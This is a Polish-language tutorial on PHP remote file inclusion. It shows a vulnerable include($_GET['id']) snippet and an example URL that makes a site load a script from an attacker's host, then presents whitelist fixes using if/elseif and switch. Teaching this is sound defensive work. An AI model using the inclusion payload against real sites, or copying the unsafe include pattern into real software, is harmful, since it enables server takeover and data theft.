- Odliczając do dnia zero. Stuxnet, czyli prawdziwa historia cyfrowej b...Cena: 25.93 zł
- Bezpieczny system w praktyce. Wyższa szkoła hackingu i testy penetra...Cena: 64.35 zł
- Profesjonalne testy penetracyjne. Zbuduj własne środowisko do testó...Cena: 44.85 zł
- Bezpieczeństwo systemu Linux w praktyce. Receptury. Wydanie IICena: 50.05 zł
Bezpieczeństwo PHP/MySQL cz. 3: Include'owanie plikow
1. Wstep
2. Include
3. Bezpieczenstwo
4. Zakonczenie
1. Wstep
Jest juz to 3 artykul z serii `Bezpieczeństwo PHP/MySQL`. W tym tekscie bedzie ukazane wykorzystanie
funkcji include, oraz jak uniknac bledow przy programowaniu i wykorzystaniu tego.
Funkcja ta jest wykorzystywana praktycznie na wszystkich stronach internetowych opartych na PHP!
Takze nie trudno o pomylke, a co przez to idzie ? Podmiana strony, skasowanie index'u, a co gorsza
Wykradniecie danych! Takze przejdzmy do dzialania, jak? co? gdzie? :)
2. Include
Jak juz wczesniej wspomnialem, include sluzy do ladowania pliku, do skryptu dla przykladu:
<?
/* Plik index.php */
include('header.php');
include('tresc.php');
include('footer.php');
>
Taki oto kod powoduje zaladowanie plikow header.php, tresc.php oraz footer.php do pliku index.php
W pliku header.php znajduje sie pare odnosnikow, w pliku tresc znajduja sie newsy, etc., a w pliku footer
jak sama nazwa mowi znajduje sie stopka. Zastanawiacie sie dlaczego tak budowane sa niektore storny ?
Dla ulatwienia sobie pracy nad aktualizacja! Znacznie ulatwia to prace, np. nie musimy aktualizowac wszystkich
plikow po kolei, tylko zmieniamy jeden plik tresc.php [porpawiamy blad, czy cos] i gotowe, na wszystkich stronach
jest zaktualizowana tresc. Jednak tu nie chodzi o takie includowanie, na wielu stronach widzialem takie mniej-wiecej
takie cos:
www.jakas.strona.pl?id=index.php
Niby nie wyglada groznie, jednak przez takie cos, mozna narobic wielkich szkod! Dlaczego ? Spojrzcie sami w kod!
<?php
/* Plik index.php */
if(!isset($_GET['id'])) {
exit('Jakis blad!');
} else {
include($_GET['id']);
}
?>
Dlaczego to niby takie grozne? A pomysleliscie jakby uzytkownik wpisal tak wygladajacy URL:
www.jakas.strona.pl?id=http://strona.hakiera.com/zuy_skrypt.php
W takim skrypcie moglby wykonac nie jedna `ciekawa` rzecz, przez co moglby miec dostep do serwera
czy wiele innych!
Dla przykladu, mamy jakiegos CMSa gdzie programista sie zagalopowal i zrobil to w sposob
www.jakas.strona.pl?id=index.php gdzie skrypt pobiera zmienna id i includuje to, co sie w niej znajdzie
Wiec, jesli chcemy byc zli, to includujemy PLIK po czym mamy dostep do zasobow serwera i nie tylko. A TUTAJ SCREEN
3. Bezpieczenstwo
Wbrew pozora zabepieczyc sie przed tego typu atakami wcale nie jest tak trudno, wystarczy troszke pomyslec!
Ponizej znajduje sie prosty kod, ktory ukrywa nazwy plikow, i zabezpiecza includowanie.
<?php
/* Plik index.php */
$id = $_GET['id'];
if (!isset($id)) {
echo 'Jakis blad!';
}
elseif ($id == 1) {
include('tresc.php');
}
elseif ($id == 2) {
include('newsy.php');
}
elseif ($id == 3) {
include('cosiko.php');
} else {
echo 'Bla bla bla error 123456!';
}
?>
Oczywiscie, mozna jeszcze to zrobic na zasadzie instrukcji switch, co znacznie ulatwi prace np:
<?php
/* Plik index.php */
$id = $_GET['id'];
switch($id)
{
case '1':
include('tresc.php');
break;
case '2':
include('newsy.php');
break;
case '3':
include('cosiko.php');
break;
default:
echo 'Srututu';
}
?>
Teraz jesli atakujacy, jesli tylko bedzie chcial zaatakowac strone nie uda mu sie to, nie bedzie mogl
include'owac zewnetrznych plikow :) Takze po czesci jestesmy bezpieczni ;))
4. Zakonczenie
Mam nadzieje, ze artykul sie podobal, i nie zapomnicie o zabezpieczaniu funkcji include ;)
Greetz: Blackhat, elwin013, Meal, and others ;)
Contact:
>sapcik[at]webhat[dot]pl
>Gadu - Gadu
Listing